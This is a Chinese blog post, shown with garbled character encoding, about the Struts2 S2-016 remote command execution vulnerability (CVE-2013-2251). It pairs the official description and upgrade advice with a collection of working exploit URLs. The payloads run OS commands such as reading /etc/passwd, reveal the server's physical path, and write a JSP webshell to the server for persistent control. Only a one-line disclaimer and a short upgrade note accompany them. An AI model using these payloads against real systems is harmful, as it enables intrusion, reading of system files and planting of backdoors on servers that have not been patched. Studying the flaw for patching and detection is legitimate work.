Struts2的官網(wǎng)在17號上午又公布了一個遠(yuǎn)程命令執(zhí)行漏洞,隨后各種版本的利用工具滿天飛,對于wooyun和某些安全工程師童鞋來說,今天應(yīng)該是備受壓力和煎熬的一天!
17號上午11點空虛浪子心大牛的微博發(fā)了一條內(nèi)容,隨后經(jīng)過各種大牛的轉(zhuǎn)播,引爆了又一次的struts2遠(yuǎn)程命令執(zhí)行漏洞換rank的浪潮!上一次struts2遠(yuǎn)程命令執(zhí)行漏洞大爆發(fā)還要追溯到2012年5月份左右,同樣wooyun上各種刷rank的,當(dāng)時那些童鞋刷的rank如今已經(jīng)升值很多了!1rank=10QB=10元rmb了.當(dāng)時拼湊過一篇文章:http://www./Article/201206/138097.html
關(guān)于這次struts2遠(yuǎn)程命令執(zhí)行漏洞(s2-016),官方是這樣描述這個漏洞產(chǎn)生原因的:
Struts2的DefaultActionMapper支持一種方法,可以使用”action:”, “redirect:” , “redirectAction:”對輸入信息進(jìn)行處理,從而改變前綴參數(shù),這樣操作的目的是方便表單中的操作。在2.3.15.1版本以前的struts2中,沒有對”action:”, “redirect:” , “redirectAction:”等進(jìn)行處理,導(dǎo)致ongl表達(dá)式可以被執(zhí)行。
空虛浪子新大牛是這么描述這個漏洞的:”在struts中,框架接收到的用戶輸入,除了參數(shù)、值以外,還有其他地方,比如文件名。這個漏洞,是struts2對url中的文件名做了解析,導(dǎo)致的ognl代碼執(zhí)行。”
該漏洞影響版本:Struts 2.0.0 – Struts 2.3.15, CVE編號為:CVE-2013-2251
官方公布的漏洞利用poc細(xì)節(jié)如下:
1),簡單表達(dá)式,ongl表達(dá)式被求值
http://www./struts2/x.action?%25(3*4)
http://www./struts2/save.action?redirect:%25(3*4)
2),命令執(zhí)行
1,http://www./struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
2,http://www./struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
3,http://www./struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
下面總結(jié)了一些漏洞利用的exp:
命令執(zhí)行:
http://www./struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
爆網(wǎng)站的物理路徑:
http://www./struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
getshell,寫入jsp一句話:
http://www./struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
以上利用方法轉(zhuǎn)載自互聯(lián)網(wǎng),僅供學(xué)習(xí)了解struts2,不要用作非法,后果自負(fù)!
漏洞修復(fù)建議:
官方強(qiáng)烈建議升級到struts2 2.3.15.1,該版本包含校正過的struts2核心庫。
下載地址;http://struts./download.cgi#struts23151
有能力的公司,建議還是自己開發(fā)框架,不開源.一般的小菜白帽子也不可能黑盒測試獲取相關(guān)漏洞,不像struts2開源的,各種挖洞大神都可以去讀代碼挖洞!POC一公布又是各種利用工具,稍微懂點軟件使用的小菜都可以橫掃各大網(wǎng)站了